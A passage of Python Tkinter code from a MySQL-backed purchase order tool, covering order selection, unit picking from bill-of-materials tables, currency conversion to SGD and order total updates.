`{orderNumRef}`\")\r\n                connPur.commit()\r\n                \r\n                clearEntryOrder()\r\n                OrderTreeView.delete(*OrderTreeView.get_children())\r\n                queryTreeOrder()\r\n                \r\n                messagebox.showinfo(\"Delete Successful\", \r\n                                    f\"You Have Deleted Purchase Order {orderNumRef}\", parent=RepWin) \r\n                curPur.close()\r\n            else:\r\n                pass\r\n    \r\n    def selectOrderCom():\r\n        try:\r\n            selected = OrderTreeView.selection()[0]     \r\n            sqlSelect = f\"SELECT * FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n            valSelect = (selected, )\r\n            \r\n            curPur = connPur.cursor()\r\n            curPur.execute(sqlSelect, valSelect)\r\n            recLst = curPur.fetchall()\r\n            connPur.commit()\r\n            curPur.close()\r\n    \r\n            clearEntryOrder()\r\n            \r\n            PurOrderNumBox.insert(0, recLst[0][1])\r\n            \r\n            PaymentTermBox.config(state=\"normal\")\r\n            PaymentTermBox.insert(0, recLst[0][2])\r\n            PaymentTermBox.config(state=\"readonly\")\r\n            \r\n            if recLst[0][3] == None:\r\n                OrderDateBox.config(state=\"normal\")\r\n                OrderDateBox.insert(0, \"\")\r\n                OrderDateBox.config(state=\"readonly\")\r\n            else:\r\n                OrderDateBox.config(state=\"normal\")\r\n                OrderDateBox.insert(0, recLst[0][3])\r\n                OrderDateBox.config(state=\"readonly\")\r\n            \r\n            VendorRemarkBox.config(state=\"normal\")\r\n            VendorRemarkBox.insert(0, recLst[0][4])\r\n            VendorRemarkBox.config(state=\"readonly\")\r\n            \r\n            TransCcyBox.config(state=\"normal\")\r\n            TransCcyBox.delete(0, END)\r\n            TransCcyBox.insert(0, recLst[0][5])\r\n            TransCcyBox.config(state=\"readonly\")\r\n            \r\n            TransExRateBox.config(state=\"normal\")\r\n            TransExRateBox.delete(0, END)\r\n            TransExRateBox.insert(0, recLst[0][6])\r\n            TransExRateBox.config(state=\"readonly\")\r\n            \r\n            ProgressStatBox.current(recLst[0][7])\r\n            ApproveStatBox.current(recLst[0][8])\r\n            IssueStatBox.current(recLst[0][9])\r\n            \r\n            boolDic = {0:\"In Progress\", 1:\"Awaiting Approval\", \r\n                       2:\"Awaiting Issue\", 3:\"Issued\", 4:\"Rejected\"}\r\n            \r\n            OrderStatBox.config(state=\"normal\")\r\n            OrderStatBox.delete(0, END)\r\n            OrderStatBox.insert(0, boolDic.get(recLst[0][10]))\r\n            OrderStatBox.config(state=\"readonly\")\r\n            \r\n            TotalSGDBox.config(state=\"normal\")\r\n            TotalSGDBox.delete(0, END)\r\n            TotalSGDBox.insert(0, recLst[0][11])\r\n            TotalSGDBox.config(state=\"readonly\")\r\n\r\n\r\n            \r\n            buttonUpdatePur.config(state=NORMAL)\r\n            buttonCreatePur.config(state=DISABLED)\r\n            buttonDeletePur.config(state=NORMAL)\r\n            OrderTreeView.config(selectmode=\"none\")\r\n            \r\n        except:\r\n            clearEntryOrder()\r\n            messagebox.showerror(\"Error\", \"Please Check Again\", parent=frameRep)\r\n    \r\n    def selectOrder():\r\n        selVal = OrderTreeView.selection()\r\n        if selVal == ():\r\n            messagebox.showerror(\"Unable to Select\",\r\n                                 \"Please Select a Value\",\r\n                                 parent=frameRep)\r\n        else:\r\n            selected = selVal[0]\r\n            \r\n            if selected[0] == \"Y\":\r\n                respOrderYear = messagebox.askokcancel(\"You Have Selected a Year\", \r\n                                                       f\"This will select EVERYTHING under {selected}\", \r\n                                                       parent=frameRep)\r\n                if respOrderYear == True:\r\n                    selectAll = []\r\n                    monthNum = OrderTreeView.get_children(selected)\r\n                    for val in monthNum:\r\n                        PurOrderVal = OrderTreeView.get_children(val)\r\n                        for item in PurOrderVal:\r\n                            selectAll.append(item)\r\n                    messagebox.showinfo(\"Selected\", f\"{len(selectAll)} Items under {selected} selected\",\r\n                                        parent=frameRep)\r\n                    \r\n                    buttonUpdatePur.config(state=DISABLED)\r\n                    buttonDeletePur.config(state=NORMAL)\r\n                    buttonCreatePur.config(state=DISABLED)\r\n                    \r\n                    OrderNumGenButton.config(state=DISABLED)\r\n                    PurOrderNumBox.delete(0, END)\r\n                    PurOrderNumBox.insert(0, f\"{len(selectAll)} Items in {selected}\")\r\n                    OrderTreeView.config(selectmode=\"none\")\r\n                else:\r\n                    pass\r\n            elif selected[0] == \"M\":\r\n                respOrderMonth = messagebox.askokcancel(\"You Have Selected a Month\", \r\n                                                        f\"This will select EVERYTHING under Month {selected[3:]}\", \r\n                                                        parent=frameRep)\r\n                if respOrderMonth == True:\r\n                    selectAll = OrderTreeView.get_children(selected)\r\n                    messagebox.showinfo(\"Selected\", f\"{len(selectAll)} Items under Month {selected[3:]} selected\",\r\n                                        parent=frameRep)\r\n                    \r\n                    buttonUpdatePur.config(state=DISABLED)\r\n                    buttonDeletePur.config(state=NORMAL)\r\n                    buttonCreatePur.config(state=DISABLED)\r\n                    \r\n                    OrderNumGenButton.config(state=DISABLED)\r\n                    PurOrderNumBox.delete(0, END)\r\n                    PurOrderNumBox.insert(0, f\"{len(selectAll)} Items in Month {selected [3:]}\")\r\n                    OrderTreeView.config(selectmode=\"none\")\r\n                else:\r\n                    pass\r\n            else:\r\n                selectOrderCom()\r\n    \r\n    def deselectOrder():\r\n        selected = OrderTreeView.selection()\r\n        if len(selected) > 0:\r\n            OrderTreeView.selection_remove(selected[0])\r\n            clearEntryOrder()\r\n        else:\r\n            clearEntryOrder()\r\n    \r\n    def clearEntryOrder():\r\n        buttonUpdatePur.config(state=DISABLED)\r\n        buttonDeletePur.config(state=DISABLED)\r\n        buttonCreatePur.config(state=NORMAL)\r\n        \r\n        PurOrderNumBox.delete(0, END)\r\n        \r\n        PaymentTermBox.config(state=\"normal\")\r\n        PaymentTermBox.delete(0, END)\r\n        PaymentTermBox.config(state=\"readonly\")\r\n        \r\n        OrderDateBox.config(state=\"normal\")\r\n        OrderDateBox.delete(0, END)\r\n        OrderDateBox.config(state=\"readonly\")\r\n        \r\n        TransCcyBox.current(0)\r\n        TransExRateBox.config(state=\"normal\")\r\n        TransExRateBox.delete(0, END)\r\n        TransExRateBox.insert(0, 1.0)\r\n        TransExRateBox.config(state=\"readonly\")        \r\n        \r\n        VendorRemarkBox.config(state=\"normal\")\r\n        VendorRemarkBox.delete(0, END)\r\n        VendorRemarkBox.config(state=\"readonly\")\r\n        \r\n        ProgressStatBox.current(0)\r\n        ApproveStatBox.current(0)\r\n        IssueStatBox.current(0)\r\n\r\n        OrderStatBox.config(state=\"normal\")\r\n        OrderStatBox.delete(0, END)\r\n        OrderStatBox.config(state=\"readonly\")\r\n        \r\n        TotalSGDBox.config(state=\"normal\")\r\n        TotalSGDBox.delete(0, END)\r\n        TotalSGDBox.config(state=\"readonly\")\r\n        \r\n        OrderTreeView.config(selectmode=\"browse\")\r\n    \r\n    def refreshOrder():\r\n        clearEntryOrder()\r\n        OrderTreeView.delete(*OrderTreeView.get_children())\r\n        queryTreeOrder()\r\n        \r\n    def loadOrder():\r\n        selected = OrderTreeView.selection()\r\n        if selected == ():\r\n            messagebox.showerror(\"Unable to Load\",\r\n                                 \"Please Select an Order\",\r\n                                 parent=frameRep)\r\n        \r\n        else:\r\n            if selected[0][0] == \"Y\":\r\n                messagebox.showwarning(\"Unable to Load\", \"You Have Selected a Year\",\r\n                                        parent=frameRep)\r\n            elif selected[0][0] == \"M\":\r\n                messagebox.showwarning(\"Unable to Load\", \"You Have Selected a Month\",\r\n                                        parent=frameRep)\r\n            else:\r\n                loadOrderCom()\r\n    \r\n    def loadOrderCom():\r\n        buttonLoadPur.config(state=DISABLED)\r\n        \r\n        curPur = connPur.cursor()\r\n        selected = OrderTreeView.selection()[0]\r\n        sqlSelect = \"SELECT * FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n        valSelect = (selected, )\r\n\r\n        curPur.execute(sqlSelect, valSelect)\r\n        purSelect = curPur.fetchall()\r\n        \r\n        connPur.commit()\r\n        curPur.close() \r\n\r\n        PurOrderNumRef = purSelect[0][1]\r\n        VendorRef = purSelect[0][4]\r\n        TransCcyUsed = purSelect[0][5]\r\n        loadOrderSelect = OrderTreeView.selection()[0]\r\n        \r\n        ProgressStatRef = purSelect[0][7]\r\n        \r\n        framePur = Frame(tabNoteRep)\r\n        tabNoteRep.add(framePur, text=\"Select Unit for Purchase Order\")\r\n        framePur.columnconfigure(0, weight=1)\r\n        tabNoteRep.select(1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n        def FetchProIndex():\r\n            curMain = connMain.cursor()\r\n            curMain.execute(\"SELECT * FROM PROJECT_INFO\")\r\n            proIndex = curMain.fetchall()\r\n            curMain.close()\r\n            \r\n            if proIndex == []:\r\n                return [\"No Project Found\"]\r\n            else:\r\n                proIndexLst = []\r\n                for item in proIndex:\r\n                    proIndexLst.append(item[1])    \r\n                return proIndexLst\r\n        \r\n        def ProSelect(e):\r\n            proName = selectProBox.get()\r\n            if proName == \"No Project Found\":\r\n                selectMachBox.config(value=[\"No Mach Found\"])\r\n                selectAssemBox.config(value=[\"No Assem Found\"])\r\n                selectMachBox.current(0)\r\n                selectAssemBox.current(0)\r\n                \r\n            else:\r\n                connLoad = mysql.connector.connect(host = logininfo[0],\r\n                                                   user = logininfo[1], \r\n                                                   password =logininfo[2],\r\n                                                   database= f\"{proName}\")\r\n                \r\n                curLoad = connLoad.cursor()\r\n                curLoad.execute(\"SELECT * FROM MACH_INDEX\")\r\n                machIndex = curLoad.fetchall()\r\n                curLoad.close()\r\n                \r\n                if machIndex == []:\r\n                    selectMachBox.config(value=[\"No Mach Found\"])\r\n                    selectAssemBox.config(value=[\"No Assem Found\"])\r\n                else:\r\n                    machIndexLst = []\r\n                    for item in machIndex:\r\n                        machIndexLst.append(item[1])\r\n                    selectMachBox.config(value=machIndexLst)\r\n                selectMachBox.current(0)\r\n                selectAssemBox.current(0)\r\n    \r\n        def MachSelect(e):\r\n            proName = selectProBox.get()\r\n            machName = selectMachBox.get()\r\n            if machName == \"No Mach Found\":\r\n                selectAssemBox.config(value=[\"No Assem Found\"])\r\n                selectAssemBox.current(0)\r\n            \r\n            else:\r\n                connLoad = mysql.connector.connect(host = logininfo[0],\r\n                                                   user = logininfo[1], \r\n                                                   password =logininfo[2],\r\n                                                   database= f\"{proName}\")\r\n                curLoad = connLoad.cursor()\r\n                curLoad.execute(f\"SELECT * FROM `{machName}`\")\r\n                assemIndex = curLoad.fetchall()\r\n                curLoad.close()\r\n                \r\n                if assemIndex == []:\r\n                    selectAssemBox.config(value=[\"No Assem Found\"])\r\n                else:\r\n                    assemIndexLst = []\r\n                    for item in assemIndex:\r\n                        assemIndexLst.append(f\"{item[1]}{item[2]}\")\r\n                    selectAssemBox.config(value=assemIndexLst)\r\n                selectAssemBox.current(0)\r\n                \r\n        def AssemSelect(e):\r\n            proName = selectProBox.get()\r\n            machName = selectMachBox.get()\r\n            assemName = selectAssemBox.get()\r\n            if assemName == \"No Assem Found\":\r\n                pass\r\n            else:\r\n                global AssemblyFullName\r\n                AssemblyFullName = f\"{proName}-{machName}-{assemName}\"\r\n                assemFullLabel.config(text=AssemblyFullName)\r\n                fullName = f\"{machName}_{assemName}\"\r\n                connLoad = mysql.connector.connect(host = logininfo[0],\r\n                                                   user = logininfo[1], \r\n                                                   password =logininfo[2],\r\n                                                   database= f\"{proName}\")\r\n                \r\n                curLoad = connLoad.cursor()\r\n                curLoad.execute(f\"SELECT * FROM `{fullName}`\")\r\n                unitIndex = curLoad.fetchall()\r\n                curLoad.close()\r\n                \r\n                ValTreeView.delete(*ValTreeView.get_children())\r\n                for rec in unitIndex:\r\n                    ValTreeView.insert(parent=\"\", index=END, iid=rec[0],\r\n                                        values=(rec[1], rec[2], rec[3], rec[4], rec[5], rec[6], rec[7], \r\n                                                rec[8], rec[9], rec[10], rec[11], rec[12], rec[13], \r\n                                                rec[14], rec[15], rec[17], rec[18], rec[20]))\r\n                    \r\n        framePMA = Frame(framePur)\r\n        framePMA.grid(row=0, column=0, columnspan=2, padx=10, pady=0, ipadx=10, ipady=0 , sticky=W+E)\r\n        \r\n        selectProLabel = Label(framePMA, text=\"Select Project\")\r\n        selectMachLabel = Label(framePMA, text=\"Select Machine\")\r\n        selectAssemLabel = Label(framePMA, text=\"Select Assembly\")\r\n        selectProBox = ttk.Combobox(framePMA, width=15, value=FetchProIndex(), state=\"readonly\")\r\n        selectMachBox = ttk.Combobox(framePMA, width=15, value=[\"No Mach Found\"], state=\"readonly\")\r\n        selectAssemBox = ttk.Combobox(framePMA, width=15, value=[\"No Assem Found\"], state=\"readonly\")\r\n        BOMSelectLabel = Label(framePMA, text=\"BOM Selected:\")\r\n        assemFullLabel = Label(framePMA, text=\"\")\r\n        \r\n        selectProBox.current(0)\r\n        if selectProBox.get() != \"No Project Found\":\r\n            selectProBox.config(state=\"normal\")\r\n            selectProBox.delete(0, END)\r\n            selectProBox.insert(0, \"Please Select\")\r\n            selectProBox.config(state=\"readonly\")\r\n        selectMachBox.current(0)\r\n        selectAssemBox.current(0)\r\n        \r\n        selectProBox.bind(\"<>\", ProSelect)\r\n        selectMachBox.bind(\"<>\", MachSelect)\r\n        selectAssemBox.bind(\"<>\", AssemSelect)\r\n        \r\n        selectProLabel.grid(row=0, column=0, padx=10, pady=(10,0), sticky=E)\r\n        selectMachLabel.grid(row=0, column=2, padx=10, pady=(10,0), sticky=E)\r\n        selectAssemLabel.grid(row=0, column=4, padx=10, pady=(10,0), sticky=E)\r\n        selectProBox.grid(row=0, column=1, padx=10, pady=(10,0), sticky=W)\r\n        selectMachBox.grid(row=0, column=3, padx=10, pady=(10,0), sticky=W)\r\n        selectAssemBox.grid(row=0, column=5, padx=(10,50), pady=(10,0), sticky=W)\r\n        BOMSelectLabel.grid(row=0, column=6, padx=10, pady=(10,0), sticky=E)\r\n        assemFullLabel.grid(row=0, column=7, padx=10, pady=(10,0), sticky=W)\r\n        \r\n        # style = ttk.Style()\r\n        # style.theme_use(\"clam\")\r\n        \r\n        # style.configure(\"Treeview\",\r\n        #                 background=\"silver\",\r\n        #                 rowheight=20,\r\n        #                 fieldbackground=\"light grey\")\r\n        \r\n        # style.map(\"Treeview\") \r\n        \r\n        ValTreeFrame = Frame(framePur)\r\n        ValTreeFrame.grid(row=1, column=0, columnspan=2, padx=10, pady=(5,0), ipadx=10, ipady=0, sticky=W+E)\r\n        # ValTreeFrame.pack()\r\n        \r\n        ValTreeScroll = Scrollbar(ValTreeFrame)\r\n        ValTreeScroll.pack(side=RIGHT, fill=Y)\r\n        \r\n        ValTreeView = ttk.Treeview(ValTreeFrame, yscrollcommand=ValTreeScroll.set, \r\n                                    height=6, selectmode=\"extended\")\r\n        ValTreeScroll.config(command=ValTreeView.yview)\r\n        # ValTreeView.grid(row=2, column=0, columnspan=10, padx=10)\r\n        ValTreeView.pack(padx=5, pady=5, ipadx=5, ipady=5, fill=\"x\", expand=True)\r\n        \r\n        ValTreeView[\"columns\"] = (\"Part\", \"Description\", \"D\", \"CLS\", \"V\", \r\n                                    \"Maker\", \"Spec\", \"DES\", \"SPA\", \"OH\", \"REQ\", \r\n                                    \"PCH\", \"BAL\", \"RCV\", \"OS\", \"Vendor\", \"UnitCost\",\r\n                                    \"Currency\")\r\n        \r\n        # ValTreeView.column(\"#0\", anchor=CENTER, width=50)\r\n        ValTreeView.column(\"#0\", width=0 ,stretch=NO)\r\n        ValTreeView.column(\"Part\", anchor=CENTER, width=45)\r\n        ValTreeView.column(\"Description\", anchor=W, width=160)\r\n        ValTreeView.column(\"D\", anchor=CENTER, width=30)\r\n        ValTreeView.column(\"CLS\", anchor=CENTER, width=60)\r\n        ValTreeView.column(\"V\", anchor=CENTER, width=30)\r\n        ValTreeView.column(\"Maker\", anchor=CENTER, width=100)\r\n        ValTreeView.column(\"Spec\", anchor=W, width=180)\r\n        ValTreeView.column(\"DES\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"SPA\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"OH\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"REQ\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"PCH\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"BAL\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"RCV\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"OS\", anchor=CENTER, width=40)\r\n        ValTreeView.column(\"Vendor\", anchor=CENTER, width=100)\r\n        ValTreeView.column(\"UnitCost\", anchor=CENTER, width=80)\r\n        ValTreeView.column(\"Currency\", anchor=CENTER, width=60)\r\n    \r\n        ValTreeView.heading(\"#0\", text=\"Index\", anchor=CENTER)\r\n        ValTreeView.heading(\"Part\", text=\"Part\", anchor=CENTER)\r\n        ValTreeView.heading(\"Description\", text=\"Description\", anchor=CENTER)\r\n        ValTreeView.heading(\"D\", text=\"D\", anchor=CENTER)\r\n        ValTreeView.heading(\"CLS\", text=\"CLS\", anchor=CENTER)\r\n        ValTreeView.heading(\"V\", text=\"V\", anchor=CENTER)\r\n        ValTreeView.heading(\"Maker\", text=\"Maker\", anchor=CENTER)\r\n        ValTreeView.heading(\"Spec\", text=\"Maker Specification\", anchor=CENTER)\r\n        ValTreeView.heading(\"DES\", text=\"DES\", anchor=CENTER)\r\n        ValTreeView.heading(\"SPA\", text=\"SPA\", anchor=CENTER)\r\n        ValTreeView.heading(\"OH\", text=\"OH\", anchor=CENTER)\r\n        ValTreeView.heading(\"REQ\", text=\"REQ\", anchor=CENTER)\r\n        ValTreeView.heading(\"PCH\", text=\"PCH\", anchor=CENTER)\r\n        ValTreeView.heading(\"BAL\", text=\"BAL\", anchor=CENTER)\r\n        ValTreeView.heading(\"RCV\", text=\"RCV\", anchor=CENTER)\r\n        ValTreeView.heading(\"OS\", text=\"OS\", anchor=CENTER)\r\n        ValTreeView.heading(\"Vendor\", text=\"Vendor\", anchor=CENTER)\r\n        ValTreeView.heading(\"UnitCost\", text=\"Unit Cost\", anchor=CENTER)\r\n        ValTreeView.heading(\"Currency\", text=\"Currency\", anchor=CENTER)\r\n        \r\n\r\n        \r\n        def formatUnitNum(num):\r\n            threeDigit = str(num).rjust(3, \"0\")\r\n            UnitFullName = f\"{AssemblyFullName}-{threeDigit}\"\r\n            return UnitFullName\r\n        \r\n        def queryTreeSelect():\r\n            curPur = connPur.cursor()\r\n            curPur.execute(f\"SELECT * FROM `{PurOrderNumRef}`\")\r\n            recLst = curPur.fetchall()\r\n            \r\n            curPur.execute(f\"SELECT * FROM `PUR_ORDER_LIST` WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n            TransCcyVal = curPur.fetchall()[0][5]\r\n            \r\n            connPur.commit()\r\n            curPur.close() \r\n\r\n            for rec in recLst:\r\n                SelectTreeView.insert(parent=\"\", index=END, iid=rec[0], \r\n                                      values=(rec[1], rec[2], rec[3], rec[4], \r\n                                              rec[5], f\"{rec[6]} %\", rec[7], \r\n                                              checkCurrencyNonePur(rec[8], rec[9]),\r\n                                              f\"{rec[10]} SGD\", \r\n                                              f\"{rec[11]} {TransCcyVal}\"))\r\n        \r\n        def CcyToSGD(Cost, Ccy):\r\n            if Ccy == \"SGD\":\r\n                ExRate = 1.00\r\n            elif Ccy in CountryRef.getCcyLst():\r\n                ExRate = CountryRef.getExRate(Ccy)\r\n            else:\r\n                ExRate = 0.00\r\n            \r\n            if Cost == None or Cost == \"\" or Cost == \"None\":\r\n                return 0.00\r\n            else:\r\n                costVal = float(Cost)\r\n                return round(costVal * ExRate, 2)\r\n            \r\n        def SGDToCcy(Cost, Ccy):\r\n            if Ccy == \"SGD\":\r\n                ExRate = 1.00\r\n            elif Ccy in CountryRef.getCcyLst():\r\n                ExRate = 1/(CountryRef.getExRate(Ccy))\r\n            else:\r\n                ExRate = 0.00\r\n            \r\n            if Cost == None or Cost == \"\" or Cost == \"None\":\r\n                return 0.00\r\n            else:\r\n                costVal = float(Cost)\r\n                return round(costVal * ExRate, 2)\r\n        \r\n        def checkCostPur(cost):\r\n            if cost == \"\" or cost == \"None\" or cost == None:\r\n                return None\r\n            else:\r\n                return float(cost)\r\n        \r\n        def checkCurrencyNonePur(num, ccy):\r\n            if num == None or num == \"\" or num == \"None\":\r\n                return num\r\n            else:\r\n                numCurrency = f\"{num} {ccy}\"\r\n                return numCurrency\r\n\r\n\r\n        \r\n        def checkOrderTotal():\r\n            curPur = connPur.cursor()\r\n            curPur.execute(f\"SELECT * FROM `{PurOrderNumRef}`\")\r\n            recLst = curPur.fetchall()\r\n            \r\n            def checkInt(val):\r\n                try:\r\n                    float(val)\r\n                    return True\r\n                except:\r\n                    return False\r\n            \r\n            def sumSingleCost(Qty, Cost):\r\n                if checkInt(Qty) == False:\r\n                    Qty = 0\r\n                if checkInt(Cost) == False:\r\n                    Cost = 0.0\r\n                \r\n                singleCostTotal = float(Qty) * float(Cost)\r\n                return singleCostTotal\r\n            \r\n            \r\n            \r\n            costOrderLst = []\r\n            for unit in recLst:\r\n                costVal = sumSingleCost(unit[5], unit[10])\r\n                costOrderLst.append(costVal)\r\n            \r\n            sumCostOrder = sum(costOrderLst)\r\n            \r\n            sqlOrderCost = f\"\"\"UPDATE PUR_ORDER_LIST SET\r\n            `TotalSGD` = %s\r\n            \r\n            WHERE `oid` = %s\"\"\"\r\n            \r\n            inputs = (sumCostOrder, loadOrderSelect)\r\n            \r\n            curPur.execute(sqlOrderCost, inputs)\r\n            connPur.commit()\r\n            curPur.close()\r\n            \r\n            clearEntryOrder()\r\n            OrderTreeView.delete(*OrderTreeView.get_children())\r\n            queryTreeOrder()\r\n\r\n\r\n        \r\n        def selectUnitPur():\r\n            if ProgressStatRef == 1:\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT authorized to change a Completed Order\",\r\n                                     parent=RepWin)\r\n            else:\r\n                selectUnitPurCom()\r\n            \r\n        def selectUnitPurCom():\r\n            selIndex = ValTreeView.selection()\r\n            if selIndex == ():\r\n                messagebox.showerror(\"Unable to Select\",\r\n                                     \"Please Select a Part\",\r\n                                     parent=framePur)\r\n            else:\r\n                respSelectUnitTree = messagebox.askokcancel(\"Confirmation\",\r\n                                                            f\"Select {len(selIndex)} Units?\",\r\n                                                            parent=framePur)\r\n                if respSelectUnitTree == True:\r\n                    curPur = connPur.cursor()\r\n                    selectUnitCom = f\"\"\"INSERT INTO `{PurOrderNumRef}` (\r\n                    PartNum, Description, Maker, Spec, \r\n                    REQ, Tax, Vendor, UnitCost, Currency,\r\n                    CostSGD, CostTrans)\r\n            \r\n                    VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n                    \r\n                    for index in selIndex:\r\n                        rec = ValTreeView.item(index, \"values\")\r\n                        \r\n                        SGDVal = CcyToSGD(rec[16], rec[17])\r\n                        TransVal = SGDToCcy(SGDVal, TransCcyUsed)\r\n                        \r\n                        valSelect = (formatUnitNum(rec[0]), rec[1], rec[5], rec[6], \r\n                                     rec[12], \"7\", rec[15], checkCostPur(rec[16]), \r\n                                     rec[17], SGDVal, TransVal)\r\n                        \r\n                        curPur.execute(selectUnitCom, valSelect)\r\n                        connPur.commit()\r\n                    curPur.close()\r\n                    \r\n                    checkOrderTotal()\r\n                    SelectTreeView.delete(*SelectTreeView.get_children())\r\n                    queryTreeSelect()\r\n                else:\r\n                    pass\r\n    \r\n        def deleteUnitPur():\r\n            if ProgressStatRef == 1:\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT authorized to change a Completed Order\",\r\n                                     parent=RepWin)\r\n            else:\r\n                deleteUnitPurCom()\r\n        \r\n        def deleteUnitPurCom():\r\n            selDelete = SelectTreeView.selection()\r\n            if selDelete == ():\r\n                messagebox.showerror(\"Unable to Delete\",\r\n                                     \"Please Select a Part\",\r\n                                     parent=framePur)\r\n            else:\r\n                respDeleteUnitTree = messagebox.askokcancel(\"Confirmation\",\r\n                                                            f\"Delete {len(selDelete)} Units?\",\r\n                                                            parent=framePur)\r\n                if respDeleteUnitTree == True:\r\n                    curPur = connPur.cursor()\r\n                    for i in selDelete:\r\n                        curPur.execute(f\"DELETE from `{PurOrderNumRef}` WHERE oid={i}\")\r\n\r\n                    connPur.commit()\r\n                    curPur.close() \r\n                    \r\n                    checkOrderTotal()\r\n                    SelectTreeView.delete(*SelectTreeView.get_children())\r\n                    queryTreeSelect()\r\n                else:\r\n                    pass\r\n            \r\n        def closeTabPur():\r\n            respCloseTabPur = messagebox.askokcancel(\"Confirmation\",\r\n                                                     \"Close This Tab?\",\r\n                                                     parent=framePur)\r\n            if respCloseTabPur == True:\r\n                framePur.destroy()\r\n                buttonLoadPur.config(state=NORMAL)\r\n            else:\r\n                pass\r\n        \r\n\r\n        \r\n        def clearUnitData():\r\n            ReqQtyBox.delete(0, END)\r\n            UnitCostSelectBox.delete(0, END)\r\n            TaxBox.config(state=\"normal\")\r\n            TaxBox.delete(0, END)\r\n            TaxBox.insert(0, 0)\r\n            TaxBox.config(state=\"readonly\")\r\n            CurrencyBox.current(0)\r\n            SelectTreeView.config(selectmode=\"extended\")\r\n            \r\n        def selectUnitData(e):\r\n            if ProgressStatRef == 1:\r\n                messagebox.showerror(\"Error\",\r\n                                      \"You are NOT authorized to change a Completed Order\",\r\n                                      parent=RepWin)\r\n            else:\r\n                selVal = SelectTreeView.selection()\r\n                if selVal == ():\r\n                    messagebox.showerror(\"Error\",\r\n                                         \"Please Select a Part\",\r\n                                         parent=framePur)\r\n                elif len(selVal) > 1:\r\n                    messagebox.showerror(\"Error\",\r\n                                         \"Please Select ONLY ONE Part\",\r\n                                         parent=framePur)\r\n                else:\r\n                    selected = selVal[0]\r\n                    curPur = connPur.cursor()\r\n                    curPur.execute(f\"SELECT * from `{PurOrderNumRef}` WHERE oid={selected}\")\r\n                    \r\n                    unitVal = curPur.fetchall()\r\n                    clearUnitData()\r\n                    \r\n                    TaxBox.delete(0, END)\r\n                    CurrencyBox.config(state=\"normal\")\r\n                    CurrencyBox.delete(0, END)\r\n                    CurrencyBox.config(state=\"readonly\")\r\n                    \r\n                    ReqQtyBox.insert(0, unitVal[0][5])\r\n                    \r\n                    if unitVal[0][8] == None or unitVal[0][8] == \"None\":\r\n                        UnitCostSelectBox.insert(0, \"\")\r\n                    else:\r\n                        UnitCostSelectBox.insert(0, unitVal[0][8])\r\n                    \r\n                    TaxBox.config(state=\"normal\")\r\n                    TaxBox.delete(0, END)\r\n                    TaxBox.insert(0, unitVal[0][6])\r\n                    TaxBox.config(state=\"readonly\")\r\n                    \r\n                    CurrencyBox.config(state=\"normal\")\r\n                    CurrencyBox.insert(0, unitVal[0][9])\r\n                    CurrencyBox.config(state=\"readonly\")\r\n                    \r\n                    SelectTreeView.config(selectmode=\"none\")\r\n            \r\n        def deselectUnitData(e):\r\n            selected = SelectTreeView.selection()\r\n            if len(selected) > 0:\r\n                for i in range(len(selected)):\r\n                    SelectTreeView.selection_remove(selected[i])\r\n                clearUnitData()\r\n            else:\r\n                clearUnitData()\r\n                \r\n        def deselectUnitValue(e):\r\n            selected = ValTreeView.selection()\r\n            if len(selected) > 0:\r\n                for i in range(len(selected)):\r\n                    ValTreeView.selection_remove(selected[i])\r\n            else:\r\n                pass\r\n        \r\n        def refreshUnitData():\r\n            clearUnitData()\r\n            SelectTreeView.delete(*SelectTreeView.get_children())\r\n            queryTreeSelect()\r\n        \r\n        def updateUnitData():\r\n            if ProgressStatRef == 1:\r\n                messagebox.showerror(\"Error\",\r\n                                      \"You are NOT authorized to change a Completed Order\",\r\n                                      parent=RepWin)\r\n            else:\r\n                sqlCommand = f\"\"\"UPDATE `{PurOrderNumRef}` SET\r\n                REQ = %s,\r\n                UnitCost = %s,\r\n                Tax = %s,\r\n                Currency = %s,\r\n                CostSGD = %s,\r\n                CostTrans = %s\r\n                \r\n                WHERE oid = %s\r\n                \"\"\"\r\n                \r\n                selVal = SelectTreeView.selection()\r\n                if len(selVal) != 1:\r\n                    messagebox.showerror(\"Error\",\r\n                                         \"Please Select One Part ONLY\",\r\n                                         parent=framePur)\r\n                else:\r\n                    selected = selVal[0]\r\n                    \r\n                    newTotalSGD = CcyToSGD(UnitCostSelectBox.get(), CurrencyBox.get())\r\n                    newTotalCcy = SGDToCcy(newTotalSGD, TransCcyUsed)\r\n                    \r\n                    inputs = (ReqQtyBox.get(), checkCostPur(UnitCostSelectBox.get()), \r\n                              TaxBox.get(), CurrencyBox.get(), \r\n                              newTotalSGD, newTotalCcy, selected)\r\n                    \r\n                    response = messagebox.askokcancel(\"Confirmation\", \"Confirm Update\", parent=RepWin)\r\n                    if response == True:\r\n                        curPur = connPur.cursor()\r\n                        curPur.execute(sqlCommand, inputs)\r\n                        connPur.commit()\r\n                        curPur.close()\r\n        \r\n                        clearUnitData()\r\n                        \r\n                        checkOrderTotal()\r\n                        SelectTreeView.delete(*SelectTreeView.get_children())\r\n                        queryTreeSelect()\r\n                        \r\n                        messagebox.showinfo(\"Update Successful\", \r\n                                            f\"You Have Updated This Part\", parent=RepWin) \r\n                    else:\r\n                        pass\r\n\r\n        def updateUnitDataClick(e):\r\n            updateUnitData()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        def checkIssueStat():\r\n            curPur = connPur.cursor()\r\n\r\n            sqlOrderStat = f\"\"\"UPDATE PUR_ORDER_LIST SET\r\n            `IssueStat` = %s,\r\n            `OrderStat` = %s\r\n\r\n            WHERE `oid` = %s\"\"\"\r\n            \r\n            StatInput = (1, 3, loadOrderSelect)\r\n            \r\n            curPur.execute(sqlOrderStat, StatInput)\r\n            connPur.commit()\r\n            curPur.close()\r\n            \r\n            clearEntryOrder()\r\n            OrderTreeView.delete(*OrderTreeView.get_children())\r\n            queryTreeOrder()\r\n            \r\n        def genPurOrder():\r\n            if 